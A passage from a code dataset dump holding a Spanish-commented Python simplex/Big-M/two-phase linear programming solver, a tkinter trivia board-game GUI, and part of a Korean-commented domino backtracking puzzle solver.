diccionario_datos[\"rest\"]: #Coloca los ceros en las restricciones\n tmp = rest.pop(-1)\n rest += [Rational(0)] * diccionario_datos[\"num_rest\"]\n rest += [Rational(tmp)]\n \n i = diccionario_datos[\"num_var\"]\n j = 0\n\n #Modifica las restricciones de acuerdo a simbología\n for rest in diccionario_datos[\"rest\"]:\n if diccionario_datos[\"simb_rest\"][j] == \">=\":\n rest[i] = -1\n rest[i+1] = 1\n i += 1\n else:\n rest[i] = 1\n j += 1\n i += 1\n \n #Se aplican formulas para modificar la función objetivo de acuerdo a restricciones\n for i in indice_var_artificiales:\n j = 0\n while j < len(diccionario_datos[\"fun_ob\"]):\n diccionario_datos[\"fun_ob\"][j] = diccionario_datos[\"fun_ob\"][j] + (-CONST_M * diccionario_datos[\"rest\"][i][j])\n j += 1\n\n return [crear_matriz([diccionario_datos[\"fun_ob\"]] + diccionario_datos[\"rest\"], var_basicas, len(diccionario_datos[\"fun_ob\"])-1, es_maximizacion), var_artificiales]\n\ndef agregar_ceros(cantidad, diccionario_datos, i):\n \"\"\" Agrega ceros a las restricciones anteriores cada vez que se agrega una variable nueva\n E: Recibe la cantidad de variables, el diccionario de datos y el indice recorrido\n S: retorna el diccionario de datos modificado con los ceros agregados a las restricciones\n \"\"\"\n agregar_0 = 0 \n while agregar_0 < cantidad :\n resultado_rest = diccionario_datos[\"rest\"][i][-1]\n diccionario_datos[\"rest\"][i].pop(-1)\n diccionario_datos[\"rest\"][i].append(0)\n diccionario_datos[\"rest\"][i].append(resultado_rest)\n agregar_0 += 1\n \n return diccionario_datos\n\ndef modificar_restricciones(diccionario_datos, simb_rest, i):\n \"\"\" Modifica las restricciones, agregandole los ceros y unos dependiendo del simbolo de la restricción\n E: Recibe el diccionario de datos, el símbolo de la restricción actual y el indice del recorrido\n S: una lista con el diccionario de datos modificado, y listas con las variables de exceso, artificiales y basicas\n \"\"\"\n var_basicas = []\n var_exceso = []\n var_artificiales = []\n\n #Modificación de las restricciones\n resultado_rest = diccionario_datos[\"rest\"][i][-1]\n diccionario_datos[\"rest\"][i].pop(-1)\n if simb_rest == \">=\":\n diccionario_datos[\"rest\"][i].append(-1)\n var_exceso.append(len(diccionario_datos[\"rest\"][i])-1)\n diccionario_datos[\"rest\"][i].append(1)\n var_artificiales.append(len(diccionario_datos[\"rest\"][i])-1)\n elif simb_rest == \"<=\":\n diccionario_datos[\"rest\"][i].append(1)\n var_exceso.append(len(diccionario_datos[\"rest\"][i])-1)\n else: # =\n diccionario_datos[\"rest\"][i].append(1)#ESTA CAMBIA con >=\n var_artificiales.append(len(diccionario_datos[\"rest\"][i])-1)\n var_basicas.append(len(diccionario_datos[\"rest\"][i])-1)\n diccionario_datos[\"rest\"][i].append(resultado_rest)\n\n #Agrega ceros a las restricciones anteriores\n if i-1 >= 0:\n for restriccion in diccionario_datos[\"rest\"]:\n if len (diccionario_datos[\"rest\"][i]) > len (diccionario_datos[\"rest\"][i-1]):\n extra_ceros = len (diccionario_datos[\"rest\"][i]) - len (diccionario_datos[\"rest\"][i-1])\n resultado_rest = restriccion.pop(-1)\n restriccion.extend([0] * extra_ceros)\n restriccion.append(resultado_rest)\n\n return [diccionario_datos, var_basicas, var_exceso, var_artificiales]\n\ndef modificar_fun_objetivo_fase_1(diccionario_datos, fun_obj, var_exceso, var_artificiales, i):\n \"\"\" Realiza las modificaciones de la función objetivo para la primera fase\n E: Recibe el diccionario de datos, la funcion objetivo sin editar, lista con las variables de exceso y artificiales, y el indice\n S: función objetivo ya modificada\n \"\"\"\n variable = 0\n while variable < len(diccionario_datos[\"rest\"][i])-1:\n \n if variable in var_artificiales:\n fun_obj[variable] = 0\n \n elif variable in var_exceso:\n fun_obj[variable] = 1\n\n elif diccionario_datos[\"rest\"][i][variable] >= 0:\n fun_obj[variable] = fun_obj[variable] - (diccionario_datos[\"rest\"][i][variable]) \n \n elif diccionario_datos[\"rest\"][i][variable] < 0:\n fun_obj[variable] = fun_obj[variable] + (diccionario_datos[\"rest\"][i][variable]) \n\n variable += 1\n\n return fun_obj\n\ndef definir_ecuaciones_primera_fase(diccionario_datos): \n \"\"\" Realiza las modificaciones de la función objetivo y restricciones en la primera fase\n E: Recibe el diccionario de datos con los datos que se recolectaron al leer el archivo\n S: N/A\n \"\"\"\n var_basicas = []\n var_artificiales = []\n var_exceso = [] \n fun_ob_1 = []\n rest_artificiales = []\n resultado_rest = 0\n es_maximizacion = True\n fun_ob_1.extend([0] * len (diccionario_datos[\"rest\"][0]))\n \n #Se verifica si es maximización o minimización\n if diccionario_datos[\"optm\"] == \"min\":\n es_maximizacion = False\n\n \"\"\"\n Dependiendo el signo de cada restricción agregará variables básicas,\n artificiales o de exceso, además de los 0 correspondientes para cada\n una\n \"\"\"\n i = 0\n while i < len(diccionario_datos[\"simb_rest\"]):\n\n cantidad = len(var_exceso) + len (var_artificiales)\n diccionario_datos = agregar_ceros(cantidad, diccionario_datos, i) #se agregan ceros\n \n #Modificación de las restricciones, agrega variables de exceso, basicas y artificiales a las restricciones\n datos_modificados = modificar_restricciones(diccionario_datos, diccionario_datos[\"simb_rest\"][i], i) #envia el simbolo de la restriccion\n diccionario_datos = datos_modificados[0]\n var_basicas += datos_modificados[1]\n var_exceso += datos_modificados[2]\n var_artificiales += datos_modificados[3]\n\n #termina de modificar las restricciones y funcion objetivo\n if diccionario_datos[\"simb_rest\"][i] == \"<=\":\n fun_ob_1.extend([0])\n else:\n resultado_rest = fun_ob_1.pop(-1) + diccionario_datos[\"rest\"][i][-1]\n if diccionario_datos[\"simb_rest\"][i] == \">=\":\n fun_ob_1.extend([0] * 2)\n elif diccionario_datos[\"simb_rest\"][i] == \"=\":\n fun_ob_1.extend([0])\n fun_ob_1 = modificar_fun_objetivo_fase_1(diccionario_datos, fun_ob_1, var_exceso, var_artificiales, i)\n fun_ob_1.append(resultado_rest)\n rest_artificiales.append(i)\n i+=1\n \n #Coloca el resultado negativamente en la función objetivo\n fun_ob_1[-1] = -fun_ob_1[-1]\n \n #Recoloca indices para las variables\n indice = 0\n while indice < len(var_basicas):\n var_basicas[indice] += 1 \n indice += 1\n indice = 0\n while indice < len(var_artificiales):\n var_artificiales[indice] += 1 \n indice += 1\n\n return [crear_matriz([fun_ob_1] + diccionario_datos[\"rest\"], var_basicas , len(fun_ob_1)-1, es_maximizacion), var_artificiales]\n\ndef acomodar_diccionario(diccionario_datos):\n \"\"\" Modifica el diccionaro de primal a dual\n E: Recibe el diccionario de datos con los datos que se recolectaron al leer el archivo\n S: Retorna el diccionario de datos dual\n \"\"\" \n nueva_fun_ob = []\n nueva_simb_rest = []\n\n #Última posición de restricciones serán la nueva función objetivo\n for fila in diccionario_datos[\"rest\"]:\n nueva_fun_ob += [fila[-1]]\n\n nuevas_rest = []\n #Se hace la transpuesta de todo lo que está antes de la última posición\n #Serán las nuevas restricciones\n for fila in diccionario_datos[\"rest\"]:\n nuevas_rest += [fila[:-1]]\n nuevas_rest = transpuesta(nuevas_rest)\n\n i = 0\n #La función objetivo son el nuevo final de restricciones\n while i < len(nuevas_rest):\n nuevas_rest[i] += [diccionario_datos[\"fun_ob\"][i]]\n i += 1\n\n #Caso especial donde solo el caso común se puede hacer para max o min\n if diccionario_datos[\"optm\"] == \"max\":\n nueva_optm = \"min\"\n simbolo_restricciones = \">=\"\n nuevo_metodo = 1 #gran m\n else:\n nueva_optm = \"max\"\n simbolo_restricciones = \"<=\"\n nuevo_metodo = 0 #simplex normal\n\n nuevo_num_var = diccionario_datos[\"num_rest\"]\n\n nuevo_num_rest = diccionario_datos[\"num_var\"]\n\n for i in nuevas_rest:\n nueva_simb_rest.append(simbolo_restricciones)\n \n #Guardamos los nuevos valores en el diccionario\n diccionario_datos[\"metodo\"] = nuevo_metodo\n diccionario_datos[\"optm\"] = nueva_optm\n diccionario_datos[\"num_var\"] = nuevo_num_var\n diccionario_datos[\"num_rest\"] = nuevo_num_rest\n diccionario_datos[\"fun_ob\"] = nueva_fun_ob\n diccionario_datos[\"rest\"] = nuevas_rest\n diccionario_datos[\"simb_rest\"] = nueva_simb_rest\n\n return diccionario_datos\n\n\n\"\"\"Fuera de clase Matriz\"\"\"\n\ndef leer_archivo(nombre_archivo):\n \"\"\" Función encargada de leer el archivo, también guarda todos los datos en un diccionario de datos\n E: string con el nombre del archivo\n S: el diccionario de datos con los datos ya guardados\n \"\"\"\n contador = 0\n lista_datos = []\n diccionario_datos = { \n \"metodo\" : 0, \n \"optm\" : \"\", \n \"num_var\" : 0, \n \"num_rest\" : 0, \n \"fun_ob\" : [], \n \"rest\" : [],\n \"simb_rest\" : [] }\n \n try:\n with open(nombre_archivo,\"r\") as archivo:\n for lineas in archivo:\n lista_datos = lineas.split(\",\")\n \n if contador == 0: \n diccionario_datos[\"metodo\"] = int(lista_datos[0])\n diccionario_datos[\"optm\"] = lista_datos[1]\n diccionario_datos[\"num_var\"] = int(lista_datos[2])\n diccionario_datos[\"num_rest\"] = int(lista_datos[3].replace(\"\\n\", \"\"))\n \n elif contador == 1:\n diccionario_datos[\"fun_ob\"] = list(map(Rational, lista_datos)) \n \n else:\n diccionario_datos[\"simb_rest\"].append(lista_datos[-2])\n lista_datos.pop(-2)\n diccionario_datos[\"rest\"] += [list(map(Rational, lista_datos))]\n \n contador += 1\n archivo.close()\n return diccionario_datos\n \n except:\n print(\"\\nEl archivo no se pudo abrir o no existe\\n\")\n quit()\n\ndef imprimir_ayuda():\n \"\"\" Imprime en pantalla la guia para la utilización del programa\n E: N/A\n S: N/A\n \"\"\"\n str_ayuda = \"\\n _____ _ _ \"\n str_ayuda += \"\\n / ____(_) | | \"\n str_ayuda += \"\\n | (___ _ _ __ ___ _ __ | | _____ __\"\n str_ayuda += \"\\n \\___ \\| | '_ ` _ \\| '_ \\| |/ _ \\ \\/ /\"\n str_ayuda += \"\\n ____) | | | | | | | |_) | | __/> < \"\n str_ayuda += \"\\n |_____/|_|_| |_| |_| .__/|_|\\___/_/\\_\\\\\"\n str_ayuda += \"\\n | | \"\n str_ayuda += \"\\n |_|\\n\"\n str_ayuda += \"\\nEjecución de programa: \\n\"\n str_ayuda += \"\\nPara ver la ayuda y correr el programa $ python simplex.py -h problema1.txt\"\n str_ayuda += \"\\nPara ver la ayuda $ python simplex.py -h\"\n str_ayuda += \"\\nPara solamente correr el programa $ python simplex.py problema1.txt\\n\"\n str_ayuda += \"\\nEstructura para formato en archivo de texto plano: \\n\"\n str_ayuda += \"\\nMétodo, optimización, número de variables de decisión, número de restricciones\"\n str_ayuda += \"\\nCoeficientes de la función objetivo\"\n str_ayuda += \"\\nCoeficientes de las restricciones y signo de restricción\\n\"\n str_ayuda += \"\\nMétodo es un valor numérico [ 0=Simplex, 1=GranM, 2=DosFases] \"\n str_ayuda += \"y optimización se indica de forma textual con min o max.\\n\"\n str_ayuda += \"\\nEjemplo para formato en archivo de texto plano: \\n\"\n str_ayuda += \"\\n---------------------------------------------------------------\"\n str_ayuda += \"\\n| 0,max,2,3 |\"\n str_ayuda += \"\\n| 3,5 |\"\n str_ayuda += \"\\n| 2,1,<=,6 |\"\n str_ayuda += \"\\n| -1,3,<=,9 |\"\n str_ayuda += \"\\n| 0,1,<=,4 |\"\n str_ayuda += \"\\n---------------------------------------------------------------\\n\"\n\n print(str_ayuda)\n\ndef escribir_archivo(nombre_archivo, texto):\n \"\"\" Función encargada de escribir texto en un archivo\n E: recibe la ruta del archivo y el texto a escribir\n S: N/A\n \"\"\"\n nombre_archivo = str(nombre_archivo).replace(\".txt\", \"\")\n nombre_archivo += \"_solution.txt\"\n try:\n with open(nombre_archivo,\"a\") as archivo:\n archivo.write(texto + os.linesep)\n\n except:\n print(\"\\nNo se pudo crear o abrir el archivo\\n\")\n \n archivo.close()\n\ndef limpiar_archivo_solucion(nombre_archivo):\n \"\"\" Limpia el archivo en caso de que tenga algo escrito\n E: ruta del archivo\n S: N/A\n \"\"\"\n nombre_archivo= str(nombre_archivo).replace(\".txt\", \"\")\n nombre_archivo += \"_solution.txt\"\n try:\n with open(nombre_archivo,\"w\") as archivo:\n archivo.write(\"\")\n\n archivo.close()\n except:\n print(\"\\nNo se pudo crear o abrir el archivo\\n\")\n\ndef manejar_no_acotada(matriz, nombre_archivo):\n \"\"\" Maneja los dos casos diferentes de no acotadas, normal y el dual\n E: ruta del archivo y la matriz\n S: N/A\n \"\"\"\n if matriz.dual:\n msj_acotada = 'La solución dual es no acotada en '\n msj_acotada += 'la columna ' + str(matriz.columna_pivote[1]+1)\n msj_acotada += ' con la VB entrante ' + matriz.columna_pivote[0]\n msj_acotada += '\\nPor ello la solución primal no tiene soluciones factibles'\n else:\n msj_acotada = 'La columna ' + str(matriz.columna_pivote[1]+1)\n msj_acotada += ' con la VB entrante ' + matriz.columna_pivote[0]\n msj_acotada += ' no tiene números mayores a 0'\n msj_acotada += \"\\nPor ello la solución es no acotada\"\n\n escribir_archivo(nombre_archivo,\"\\n\" + msj_acotada)\n print(msj_acotada)\n quit()\n\ndef manejar_no_factible(matriz, nombre_archivo, var_no_factible):\n \"\"\" Maneja los dos casos diferentes de no factibles, normal y el dual\n E: ruta del archivo, la matriz y la variable que es no factible\n S: N/A\n \"\"\"\n if matriz.dual:\n msj_no_factible = \"La variable artificial \" + var_no_factible + \" es positiva \"\n msj_no_factible += \"esto hace la solución dual no factible\"\n msj_no_factible += \"\\nPor ello la solución primal no tiene soluciones factibles \"\n msj_no_factible += \"o es no acotada\"\n else:\n msj_no_factible = \"La variable artificial \" + var_no_factible + \" es positiva\\n\"\n msj_no_factible += \"Por lo tanto la solución no es factible\"\n \n if matriz.fase_1:\n msj_no_factible+= \"\\nAl estar en la primera fase y ser solución no factible \\nLa segunda fase no se realiza\"\n \n escribir_archivo(nombre_archivo, \"\\n\" + msj_no_factible)\n print(msj_no_factible)\n quit()\n\ndef realizar_iteraciones(matriz, nombre_archivo):\n\n num_iteracion = 0\n\n if matriz.fase_1:\n escribir_archivo(nombre_archivo,\"Fase 1\")\n print(\"Fase 1\")\n elif matriz.dos_fases:\n escribir_archivo(nombre_archivo,\"Fase 2\")\n print(\"Fase 2\")\n while(True):\n if matriz.soluciones_multiples and not(matriz.dual):\n print(matriz.datos_sol_optima())\n\n escribir_archivo(nombre_archivo,\"\\nIteracion \" + str(num_iteracion))\n escribir_archivo(nombre_archivo, matriz.matriz_a_texto())\n try:\n matriz.iterar()\n except Exception as e:\n manejar_no_acotada(matriz, nombre_archivo)\n escribir_archivo(nombre_archivo, matriz.datos_solucion())\n \n if matriz.verificar_optimalidad():\n if matriz.dual:\n escribir_archivo(nombre_archivo,\"\\nIteracion Final Dual\")\n escribir_archivo(nombre_archivo, matriz.matriz_a_texto())\n print(\"Solución dual:\")\n print(matriz.datos_sol_optima())\n print(\"\\nSolución primal:\")\n print(datos_sol_optima_dual(matriz))\n escribir_archivo(nombre_archivo,\"\\nSolución dual:\")\n escribir_archivo(nombre_archivo,matriz.datos_sol_optima())\n escribir_archivo(nombre_archivo,\"\\nSolución primal:\")\n escribir_archivo(nombre_archivo,datos_sol_optima_dual(matriz))\n no_factible = verificar_artificiales(matriz.matriz, matriz.var_artificiales)\n if no_factible != 0:\n manejar_no_factible(matriz,nombre_archivo, no_factible)\n break\n\n if matriz.soluciones_multiples:\n escribir_archivo(nombre_archivo, \"Solución múltiple en: \" + matriz.columna_pivote[0])\n print (\"Solución múltiple en: \" + matriz.columna_pivote[0])\n escribir_archivo(nombre_archivo,\"\\nIteracion extra\")\n print(\"\\nIteracion extra\")\n else:\n escribir_archivo(nombre_archivo,\"\\nIteracion Final\")\n\n escribir_archivo(nombre_archivo, matriz.matriz_a_texto())\n print(matriz.datos_sol_optima())\n escribir_archivo(nombre_archivo, matriz.datos_sol_optima())\n no_factible = verificar_artificiales(matriz.matriz, matriz.var_artificiales)\n if no_factible != 0:\n manejar_no_factible(matriz, nombre_archivo, no_factible)\n break\n\n num_iteracion += 1\n\n return matriz\n\ndef obtener_solucion(nombre_archivo):\n \"\"\" Se encarga de administrar el manejo de las demás funciones de acuerdo al método elegido\n E: ruta del archivo\n S: N/A\n \"\"\"\n CONST_M = Symbol('M')\n diccionario_datos = leer_archivo(nombre_archivo)\n tupla_tmp = definir_ecuaciones(diccionario_datos, CONST_M)\n matriz_inicial = tupla_tmp[0]\n matriz = Matriz(matriz_inicial[0])\n matriz.dual = tupla_tmp[1] #Indica si es dual o no\n\n if diccionario_datos[\"metodo\"] == 1:\n matriz = definir_artificiales(matriz, matriz_inicial[1])\n matriz.CONST_M = CONST_M\n\n if diccionario_datos[\"metodo\"] == 2:\n matriz = definir_artificiales(matriz, matriz_inicial[1])\n matriz.dos_fases = True\n matriz.fase_1 = True\n \n #Saca variables de holgura y exceso para dual\n sacar_holgura(matriz, diccionario_datos)\n limpiar_archivo_solucion(nombre_archivo)\n \n matriz = realizar_iteraciones(matriz, nombre_archivo)\n \n if matriz.dos_fases:\n matriz.matriz = modificar_artificiales(matriz.matriz,matriz.var_artificiales)\n matriz.matriz = modificar_fun_objetivo_fase_2(matriz,diccionario_datos,matriz.es_max)\n matriz.fase_1 = False\n matriz = realizar_iteraciones(matriz, nombre_archivo)\n\ndef definir_artificiales(obj_matriz, var_artificiales):\n \"\"\" Define las variables artificiales en la matriz con R1, R2...\n E: las variables artificiales en orden de X4, X6\n S: N/A\n \"\"\"\n artificiales_tmp = []\n for n in var_artificiales:\n artificiales_tmp.append(\"X\" + str(n))\n\n i = 1\n # Primero cambia las variables en la primera fila\n while i < len(obj_matriz.matriz[0])-1:\n if obj_matriz.matriz[0][i] in artificiales_tmp:\n obj_matriz.matriz[0][i] = \"R\" + obj_matriz.matriz[0][i][1:]\n obj_matriz.var_artificiales.append(obj_matriz.matriz[0][i])\n i += 1\n\n #Ahora las cambia de la columna de variables basicas\n i = 2\n while i < len(obj_matriz.matriz):\n if obj_matriz.matriz[i][0] in artificiales_tmp:\n obj_matriz.matriz[i][0] = \"R\" + obj_matriz.matriz[i][0][1:]\n i += 1\n return obj_matriz\n\ndef modificar_artificiales(matriz, var_artificiales):\n \"\"\" Elimina las variables artificiales para la segunda fase\n E: matriz y variables artifiales\n S: matriz\n \"\"\"\n i=1\n nueva_matriz = transpuesta(matriz)\n \n while i < len(nueva_matriz)-1:\n if nueva_matriz[i][0] in var_artificiales:\n tmp = nueva_matriz[i][0]\n nueva_matriz[i]=[0 for x in range(0, len(nueva_matriz[i]))]\n nueva_matriz[i][0] = tmp \n i+=1\n\n nueva_matriz = transpuesta(nueva_matriz)\n return nueva_matriz\n\ndef verificar_artificiales(matriz, var_artificiales):\n \"\"\" Verifica en la solucion óptima que las variables artificiales no sean positivas\n que significaría que la solución es no factible\n E: N/A\n S: Retorna 0 si hay solucion factible, caso contrario retorna el X artificial que seria un string\n \"\"\"\n fila = 2\n\n while fila < len(matriz):\n if matriz[fila][-1] > 0 and matriz[fila][0] in var_artificiales:\n return matriz[fila][0]\n fila += 1\n return 0\n\ndef modificar_fun_objetivo_fase_2(obj_matriz, diccionario_datos, es_maximizacion):\n \"\"\" Cambia la función objetivo para la segunda fase\n E: matriz , diccionario de datos(diccionario) y es_maximización(booleano)\n S: matriz\n \"\"\"\n matriz = obj_matriz.matriz\n matriz = transpuesta(matriz)\n var_basicas = matriz[0][2:]\n matriz = transpuesta(matriz)\n fun_ob_2 = []\n \n if es_maximizacion:\n fun_ob_2 = [\"U\"] + diccionario_datos[\"fun_ob\"]\n matriz[1] = fun_ob_2\n else:\n i=0\n while i < len(diccionario_datos[\"fun_ob\"]):\n fun_ob_2.append(-diccionario_datos[\"fun_ob\"][i])\n i+=1\n fun_ob_2 = [\"-U\"] + fun_ob_2\n \n cantidad_0 = len(matriz[0]) - len (fun_ob_2)\n fun_ob_2.extend([0]*cantidad_0)\n matriz[1]= fun_ob_2\n\n if obj_matriz.verificar_optimalidad():\n for variable in matriz[0]:\n \n if variable in var_basicas:\n h = 0\n while h < len(matriz): \n if variable == matriz[h][0]:\n fila_multiplicacion = matriz[h]\n \n realizar_0 = matriz[1][matriz[0].index(variable)]\n i = 1\n\n for numero in matriz[1][1:]:\n\n matriz[1][i] = numero - (realizar_0 * fila_multiplicacion[i])\n i+=1\n h+=1\n return matriz\n\n\ndef transpuesta(matriz):\n \"\"\" Hace la transpuesta de una matriz\n E: matriz\n S: matriz transpuesta\n \"\"\"\n matriz_transpuesta = []\n\n for j in range(len(matriz[0])):\n matriz_transpuesta.append([])\n for i in range(len(matriz)):\n matriz_transpuesta[j].append(matriz[i][j])\n\n return matriz_transpuesta\n\ndef encontrar_FEV_dual(matriz):\n \"\"\" Encuentra el FEV para el caso óptimo dual\n E: matriz\n S: N/A\n \"\"\"\n\n #U es la misma\n matriz.U = matriz.matriz[1][-1]\n matriz.FEV = []\n columna = 1\n tmp = [] \n\n while columna < len(matriz.matriz[0][:-1]):\n if matriz.matriz[0][columna] in matriz.var_holgura:\n tmp.append(matriz.matriz[1][columna])\n columna += 1\n matriz.FEV += tmp\n\ndef datos_sol_optima_dual(matriz):\n \"\"\" Hace el mensaje para la solución óptima\n E: matriz\n S: string\n \"\"\"\n\n encontrar_FEV_dual(matriz)\n i = 0\n datos = \"BF: \\n\"\n #Sacamos cada valor y lo asignamos a la variable que correspondría\n while i < len(matriz.FEV):\n datos += \"X\" + str(i+1) + \": \" + str(matriz.FEV[i]) + \" \"\n i += 1\n if matriz.es_max:\n datos += \"\\nU: \" + str(matriz.U)\n else:\n datos += \"\\nU: \" + str(matriz.U*-1)\n\n return datos\n\ndef sacar_holgura(matriz, diccionario_datos):\n \"\"\" Saca las variables de exceso y holgura y las guarda\n E: matriz y el diccionario de datos\n S: N/A\n \"\"\"\n #Esto es para quitar las variables que trae el problema\n i = diccionario_datos[\"num_var\"] \n candidatos_holgura = []\n #Estos son los posibles candidatos\n #Todos los no artificiales posibles después del indice\n while i < len(matriz.matriz[0][1:-1]):\n candidatos_holgura.append(\"X\" + str(i+1))\n i += 1\n\n i = 0\n #Sacamos los que fueron artificiales\n while i < len(matriz.matriz[0][1:]):\n if matriz.matriz[0][i] in candidatos_holgura:\n matriz.var_holgura.append(matriz.matriz[0][i])\n i += 1\n\ndef principal(args):\n \"\"\" Función encargada de la ejecución del programa\n E: recibe los argumento ingresados por consola\n S: N/A\n \"\"\"\n\n if len(args) == 3 and args[1] == \"-h\":\n imprimir_ayuda()\n obtener_solucion(args[2])\n\n elif len(args) == 2:\n\n if args[1] == \"-h\":\n imprimir_ayuda()\n \n else:\n obtener_solucion(args[1])\n else:\n print(\"\\nIngrese [-h] para recibir ayuda de utilización del programa\\n\")\n return\n\nprincipal(sys.argv)","repo_name":"RandyCJ/io-metodo-simplex","sub_path":"solver.py","file_name":"solver.py","file_ext":"py","file_size_in_byte":30153,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"70210416403","text":"import random\nimport tkinter as tk\nfrom tkinter import ttk\n\n#Create root window\nroot = tk.Tk()\n\n#Define window title\nroot.title(\"Knowledgeable Chase\")\n\n#Define window dimensions\nwindow_width = 300\nwindow_height= 250\nroot.geometry(\"{}x{}\".format(window_width, window_height))\n\n# configure the grid\nroot.rowconfigure([0, 1, 2, 3, 4], weight=1)\nroot.columnconfigure([0, 1, 2], weight=1)\n\n#Main title screen\ndef main_title():\n main_title = tk.Label(root, text=\"\"\"Trivial Pursuit Assistant Edition\\n\n ===================\\n\n Please choose an option:\"\"\")\n main_title.place(width=window_width, height=window_height)\n main_title.grid(column=0,row=0,columnspan=3, sticky=\"NSEW\")\n login_button = ttk.Button(root, text=\"Add/Edit/Delete Database\", command=modify_database)\n login_button.grid(column=0,row=1,columnspan=3, sticky=\"NSEW\")\n log_button = ttk.Button(root, text=\"Get A Question\", command=get_question)\n log_button.grid(column=0,row=2,columnspan=3, sticky=\"NSEW\")\n log_button = ttk.Button(root, text=\"Roll A Die\", command=die_roll)\n log_button.grid(column=0,row=3,columnspan=3, sticky=\"NSEW\")\n log_button = ttk.Button(root, text=\"Exit\", command=quit_program)\n log_button.grid(column=0,row=4,columnspan=3, sticky=\"NSEW\")\n\n#Page with options to alter database\ndef modify_database():\n title=tk.Label(root,text='Modify Database')\n title.place(width=window_width,height=window_height)\n title.grid(column=0,row=0,columnspan=3, sticky=\"NSEW\")\n\n add=tk.Button(root,text='Add',command=add_trivia)\n add.grid(column=0,row=1,columnspan=3, sticky=\"NSEW\")\n\n edit=tk.Button(root,text='Edit',command=edit_trivia)\n edit.grid(column=0,row=2,columnspan=3, sticky=\"NSEW\")\n\n delete=tk.Button(root,text='Delete',command=delete_trivia)\n delete.grid(column=0,row=3,columnspan=3, sticky=\"NSEW\")\n\n back=tk.Button(root,text='Back', command=main_title)\n back.grid(column=0,row=4,columnspan=3, sticky=\"NSEW\")\n\n#Add to database\ndef add_trivia():\n title=tk.Label(root,text='Add A Question:')\n title.place(width=window_width,height=window_height)\n title.grid(column=0,row=0,columnspan=3, sticky=\"NSEW\")\n\n question=tk.Label(root, text='Question:')\n question.place(width=window_width, height=window_height)\n question.grid(column=0, row=1, sticky=\"NW\")\n\n answer=tk.Label(root, text='Answer:')\n answer.place(width=window_width, height=window_height)\n answer.grid(column=0, row=2, sticky=\"NW\")\n\n difficulty=tk.Label(root, text='Difficulty:')\n difficulty.place(width=window_width, height=window_height)\n difficulty.grid(column=0, row=3, sticky=\"NW\")\n\n category=tk.Label(root, text='Category:')\n category.place(width=window_width, height=window_height)\n category.grid(column=0, row=4, sticky=\"NW\")\n\n back=tk.Button(root,text='Back', command=modify_database)\n back.grid(column=0,row=4,columnspan=3, sticky=\"SE\")\n\n#Edit database\ndef edit_trivia():\n title=tk.Label(root,text='Edit Trivia')\n title.place(width=window_width,height=window_height)\n title.grid(column=0,row=0,columnspan=3, rowspan=4, sticky=\"NSEW\")\n\n back=tk.Button(root,text='Back', command=modify_database)\n back.grid(column=0,row=4,columnspan=3, sticky=\"NSEW\")\n\n#Delete from database\ndef delete_trivia():\n title=tk.Label(root,text='Delete Trivia')\n title.place(width=window_width,height=window_height)\n title.grid(column=0,row=0,columnspan=3, rowspan=4, sticky=\"NSEW\")\n\n back=tk.Button(root,text='Back', command=modify_database)\n back.grid(column=0,row=4,columnspan=3, sticky=\"NSEW\")\n\n#Get question from database (Question, then answer)\ndef get_question():\n title=tk.Label(root,text='Get A Question')\n title.place(width=window_width,height=window_height)\n title.grid(column=0,row=0,columnspan=3, sticky=\"NSEW\")\n\n difficulty=tk.Label(root, text='Choose Difficulty:')\n difficulty.place(width=window_width, height=window_height)\n difficulty.grid(column=0, row=1, sticky=\"NW\")\n\n category=tk.Label(root, text='Choose Category:')\n category.place(width=window_width, height=window_height)\n category.grid(column=0, row=2, sticky=\"NW\")\n\n show_question=tk.Button(root,text='Show Question', command=main_title)\n show_question.grid(column=0,row=3,columnspan=3, sticky=\"NSEW\")\n\n back=tk.Button(root,text='Back', command=main_title)\n back.grid(column=0,row=4,columnspan=3, sticky=\"NSEW\")\n\ndef show_question():\n pass\n\ndef get_answer():\n pass\n\ndef die_roll():\n sides=random.choice([\"\\u2680\",\"\\u2681\",\"\\u2682\",\"\\u2683\",\"\\u2684\",\"\\u2685\"])\n\n title=tk.Label(root,text='Roll The Dice:')\n title.place(width=window_width,height=window_height)\n title.grid(column=0,row=0,columnspan=3, sticky=\"NSEW\")\n\n result=tk.Label(root, font=(\"Arial\", 48), text='{}'.format(sides))\n result.place(width=window_width,height=window_height)\n result.grid(column=0,row=1,columnspan=3, rowspan=2, sticky=\"NSEW\")\n\n reroll=tk.Button(root,text=\"Reroll\", command=die_roll)\n reroll.grid(column=0,row=3,columnspan=3, sticky=\"NSEW\")\n\n back=tk.Button(root,text='Back', command=main_title)\n back.grid(column=0,row=4,columnspan=3, sticky=\"NSEW\")\n\n#Closes program\ndef quit_program():\n root.destroy()\n\nmain_title()\nroot.mainloop()","repo_name":"ZacharyKeatings/Knowledgeable-Chase-GUI","sub_path":"Knowledgeable-Chase-GUI.py","file_name":"Knowledgeable-Chase-GUI.py","file_ext":"py","file_size_in_byte":5228,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"25475352522","text":"def domino(x,y): #어짜피 6,1은 1,6이기 때문에 겹치지않은 짝으로 모두를 묶을수 있는지 확인\n global cnt\n if len(ST) == 27: #56칸에서 27칸을 사용했고\n dx=[1,-1,0,0] #마지막 남은 두 False가 붙어있고 사용하지 않은 짝이면 cnt+=1\n dy=[0,0,1,-1]\n for f in range(4):\n fX= x+dx[f]\n fY= y+dy[f]\n if 0<=fX<7 and 0<=fY<8 and used[fY][fX]==False:\n if sorted([Nlist[y][x], Nlist[fY][fX]]) not in ST:\n cnt+=1\n return\n\n dx=[1,0]\n dy=[0,1]\n for i in range(2):\n X = x + dx[i]\n Y = y + dy[i]\n if 0<=X<7 and 0<=Y<8 and used[Y][X]==False: #사용하지 않은 옆칸이면서 사용했던 짝이 아닌경우\n if sorted([Nlist[y][x], Nlist[Y][X]]) in ST:\n continue\n used[y][x],used[Y][X] = True,True\n ST.append(sorted([Nlist[y][x],Nlist[Y][X]]))\n\n s=0\n for u1 in range(8): #사용안한 칸에서 다시 재귀\n for u2 in range(7):\n if used[u1][u2] == False:\n domino(u2,u1)\n s=1\n break\n if s==1:\n break\n\n ST.pop() #다시 되돌려놓기\n used[y][x], used[Y][X] = False, False\n\n\n\n\nNlist=[]\nfor _ in range(8):\n Nlist.append(input())\nused=[[False]*7 for _ in 